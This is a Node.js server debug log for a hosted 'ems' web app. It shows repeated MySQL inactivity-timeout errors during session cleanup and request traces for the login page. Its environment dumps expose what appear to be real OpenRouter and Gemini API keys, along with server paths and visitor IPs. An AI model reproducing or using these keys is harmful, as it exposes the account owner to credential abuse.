    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 03:52:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 06:18:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 06:18:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 06:26:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 06:26:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 07:19:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 07:19:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 08:19:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 08:19:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 08:50:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 08:50:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 09:03:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 09:03:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 09:59:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 09:59:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 10:42:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 10:42:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 11:01:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 11:01:15' as DATETIME)"
}
2025-12-30T13:44:05.066Z server-connect:router Serving templateView /
2025-12-30T13:44:05.067Z server-connect:app Executing action step identify
2025-12-30T13:44:05.067Z server-connect:app options: { provider: 'security' }
2025-12-30T13:44:05.068Z server-connect:auth No login cookie found
2025-12-30T13:44:05.068Z server-connect:output identity: false
2025-12-30T13:44:05.068Z server-connect:app Executing action step restrict
2025-12-30T13:44:05.068Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-30T13:44:05.069Z server-connect:output restrict: undefined
2025-12-30T13:44:05.201Z server-connect:router Serving templateView /login
2025-12-30T13:44:05.202Z server-connect:app Executing action step identify
2025-12-30T13:44:05.202Z server-connect:app options: { provider: 'security' }
2025-12-30T13:44:05.202Z server-connect:auth No login cookie found
2025-12-30T13:44:05.202Z server-connect:output identity: false
2025-12-30T13:44:05.202Z server-connect:router Render template layouts/authentication
2025-12-30T13:44:05.202Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'en-US,en;q=0.9',
    'upgrade-insecure-requests': '1',
    'sec-ch-ua': '"Chromium";v="141", "Not:A-Brand";v="8", "Google Chrome";v="141"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '173.194.96.186',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-31T13:44:05.201Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '173.194.96.186',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_CH-UA': '"Chromium";v="141", "Not:A-Brand";v="8", "Google Chrome";v="141"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '173.194.96.186',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-30T15:17:59.369Z server-connect:router Serving templateView /
2025-12-30T15:17:59.370Z server-connect:app Executing action step identify
2025-12-30T15:17:59.370Z server-connect:app options: { provider: 'security' }
2025-12-30T15:17:59.370Z server-connect:auth No login cookie found
2025-12-30T15:17:59.370Z server-connect:output identity: false
2025-12-30T15:17:59.370Z server-connect:app Executing action step restrict
2025-12-30T15:17:59.370Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-30T15:17:59.370Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 17:32:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 17:32:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 18:50:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 18:50:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 19:20:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 19:20:13' as DATETIME)"
}
2025-12-30T19:36:01.050Z server-connect:router Serving templateView /
2025-12-30T19:36:01.051Z server-connect:app Executing action step identify
2025-12-30T19:36:01.052Z server-connect:app options: { provider: 'security' }
2025-12-30T19:36:01.052Z server-connect:auth No login cookie found
2025-12-30T19:36:01.052Z server-connect:output identity: false
2025-12-30T19:36:01.052Z server-connect:app Executing action step restrict
2025-12-30T19:36:01.052Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-30T19:36:01.052Z server-connect:output restrict: undefined
2025-12-30T19:36:01.173Z server-connect:router Serving templateView /login
2025-12-30T19:36:01.173Z server-connect:app Executing action step identify
2025-12-30T19:36:01.174Z server-connect:app options: { provider: 'security' }
2025-12-30T19:36:01.174Z server-connect:auth No login cookie found
2025-12-30T19:36:01.174Z server-connect:output identity: false
2025-12-30T19:36:01.174Z server-connect:router Render template layouts/authentication
2025-12-30T19:36:01.174Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '174.129.9.123',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-31T19:36:01.173Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '174.129.9.123',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '174.129.9.123',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 20:30:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
